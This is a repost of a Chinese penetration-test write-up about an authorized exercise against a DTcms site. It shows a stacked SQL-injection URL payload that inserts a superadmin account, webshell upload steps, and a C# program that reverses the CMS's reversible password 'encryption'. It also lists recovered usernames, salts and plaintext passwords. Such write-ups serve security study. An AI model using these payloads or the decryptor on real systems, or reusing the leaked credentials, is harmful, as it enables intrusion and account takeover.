黑客实战突破:记录一次攻防演练中的代码审计

admin 2023年2月1日15:36:14评论16 views字数 7684阅读25分36秒阅读模式

扫码领资料

获黑客教程

免费&进群

黑客实战突破:记录一次攻防演练中的代码审计


黑客实战突破:记录一次攻防演练中的代码审计


第一天
在一次授权的攻防项目中,我和我的一个好兄弟在渗透过程中发现一个目标存在mssql注入,通过注入拿到了管理员的账号和密码
黑客实战突破:记录一次攻防演练中的代码审计
当时我和我的好兄弟高兴坏了,迫不及待的把拿到的数据进行解密(当时天真认为可以解密,马上getshell)由于是攻防演练,并且报告提交的越早分数就会越高,何况还是getshell
erui/E7B8D79CB1F8267E98411A1081B75FBD
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8
黑客实战突破:记录一次攻防演练中的代码审计
结果发现根本解不出,后来发现原来是加盐MD5,想着先把盐值找到或许就能有一线突破,最终找到的盐值和账号对应如下
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
当时我和我兄弟在这里卡了半天,甚至是去网上搜索加盐md5的破解,后面发现根本解不出来
第二天
我和兄弟那一晚上一夜未眠,想着各种法子去解密,网上各种办法,各种脚本都试了一遍,发现完全不行,突然一下有个念头一下子出来了,在上一次的攻防演练中,也是mssql注入,当时可以通过堆叠注入,自己插入一条数据,于是我们开始整理思路思路如下

思路一

通过堆叠注入插入一条数据,直接登录(但是要自己找到一条加盐Md5)搭建这个cms搭建起来,自己创建一个管理员账号,然后插入进去


思路二

找到对应的cms或者是网站源码,代码审计,试图找到加密流程或者是其他有用信息


尝试思路

通过mssql注入的报错信息可以判断出为dtcms,于是我迫不及待的去github搜罗了一番,找到了其源码,首先想到的搭建起来这个cms,由于对net环境的不熟悉,加上搭建后各种报错,(让我抑郁了很久)继续信息收集,发现源代码下面有个SQL文件,进去搜索找到一条加密的数据,并且前期信息收集到dtcms的默认密码是admin888于是开始行动全局搜索salt
黑客实战突破:记录一次攻防演练中的代码审计
INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (111, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'[email protected]'00CAST(0x0000A73C00E1AC44 AS DateTime))
SET IDENTITY_INSERT [dbo].[dt_manager] OFF
插入payload如下
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +
插入的账号为test 密码是admin888

登录账号

黑客实战突破:记录一次攻防演练中的代码审计
登录成功发现,权限为超级管理员,然后getshell(在某篇文章看到)文件上传类型添加aspx,ashx,然后上传相应的哥斯拉马,直连即可
黑客实战突破:记录一次攻防演练中的代码审计
最后我和我兄弟成功将这个站点拿下但是内心感觉还是空空的,先提交报告吧

第三天
我和兄弟越想越不舒服,我们思路二还没试过呢,如果我们可以解密这个加密数据,是不是以后遇到类似的站点,假如不存在堆叠注入,岂不是不能插入数据,不行,必须得试一下,于是开始代码审计

.net基本知识

.ashx一般是网页文件。.cs文件一般是后台逻辑代码

目前已有的数据

erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84

代码审计

在DTcms.Web中找到login.aspx.cs。
通过调用manager类中的GetModel方法来判断是否登录成功
黑客实战突破:记录一次攻防演练中的代码审计
ps:这里BLL.manager()中BLL是一个命名空间。我们可以通过BLL这个名字在DTcms.BLL文件夹中找到manager.cs
黑客实战突破:记录一次攻防演练中的代码审计
接着在manager类中的GetModel方法中,发现在登录的时候会先从数据库中获得这个用户的盐值,然后根据输入的密码与盐值调用DESEncrypt.Encrypt(password, salt)进行加密。后来知道了这里DESEncrypt是一个类,Encrypt是一个静态函数,所以可以直接调用
微信搜索公众号:Linux技术迷,回复:linux 领取资料 。
黑客实战突破:记录一次攻防演练中的代码审计
接着我们审计DESEncrypt中的Encrypt方法。在文件夹中搜索DESEncrypt,最终在DTcms.Common中找到了DESEncrypt类。加解密流程逻辑代码不需要细看,只需要知道就是传入密文和盐值调用Decrypt函数即可得到明文。

源码如下

using System;
using System.Security.Cryptography;
using System.Text;

namespace DTcms.Common
{
    /// <summary>
    /// DES加密/解密类。
    /// </summary>
    public class DESEncrypt
    {

        #region ========加密========

        /// <summary>
        /// 加密
        /// </summary>
        /// <param name="Text"></param>
        /// <returns></returns>
        public static string Encrypt(string Text)
        {
            return Encrypt(Text, "DTcms");
        }
        /// <summary> 
        /// 加密数据 
        /// </summary> 
        /// <param name="Text"></param> 
        /// <param name="sKey"></param> 
        /// <returns></returns> 
        public static string Encrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            byte[] inputByteArray;
            inputByteArray = Encoding.Default.GetBytes(Text);
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            StringBuilder ret = new StringBuilder();
            foreach (byte b in ms.ToArray())
            {
                ret.AppendFormat("{0:X2}", b);
            }
            return ret.ToString();
        }

        #endregion

        #region ========解密========

        /// <summary>
        /// 解密
        /// </summary>
        /// <param name="Text"></param>
        /// <returns></returns>
        public static string Decrypt(string Text)
        {
            return Decrypt(Text, "DTcms");
        }
        /// <summary> 
        /// 解密数据 
        /// </summary> 
        /// <param name="Text"></param> 
        /// <param name="sKey"></param> 
        /// <returns></returns> 
        public static string Decrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            int len;
            len = Text.Length / 2;
            byte[] inputByteArray = new byte[len];
            int x, i;
            for (x = 0; x < len; x++)
            {
                i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                inputByteArray[x] = (byte)i;
            }
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            return Encoding.Default.GetString(ms.ToArray());
        }

        #endregion

    }
}
接着我们抄下DESEncrypt类中的解密代码进行解密。注意这里得using System.Web,要引用System.Web.dll这个文件才能运行代码。代码段如下:

payload

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Text;
using System.Web;

namespace ConsoleApp1
{
    class Program
    {

        public static string Decrypt(string Text, string sKey)
        {
            DESCryptoServiceProvider des = new DESCryptoServiceProvider();
            int len;
            len = Text.Length / 2;
            byte[] inputByteArray = new byte[len];
            int x, i;
            for (x = 0; x < len; x++)
            {
                i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
                inputByteArray[x] = (byte)i;
            }
            des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
            cs.Write(inputByteArray, 0, inputByteArray.Length);
            cs.FlushFinalBlock();
            return Encoding.Default.GetString(ms.ToArray());
        }

        static void Main(string[] args)
        {
            System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD""24V0XZ"));
            System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED""42V8XZ"));
            System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8""J6ZT84"));

        }

    }
}
最终得到明文
黑客实战突破:记录一次攻防演练中的代码审计
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
总结
通过这次攻防再一次加深了代码审计的重要性,有时候就是一个突破点,还有就是和兄弟在审计中遇到的困难,一次次被突破,那种感觉真的很爽!!
文章来源:先知(Fright一Moch)原文地址:https://xz.aliyun.

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果

黑客实战突破:记录一次攻防演练中的代码审计


原文始发于微信公众号(信安黑客技术):黑客实战突破:记录一次攻防演练中的代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月1日15:36:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客实战突破:记录一次攻防演练中的代码审计http://cn-sec.com/archives/1532146.html

发表评论

匿名网友 填写信息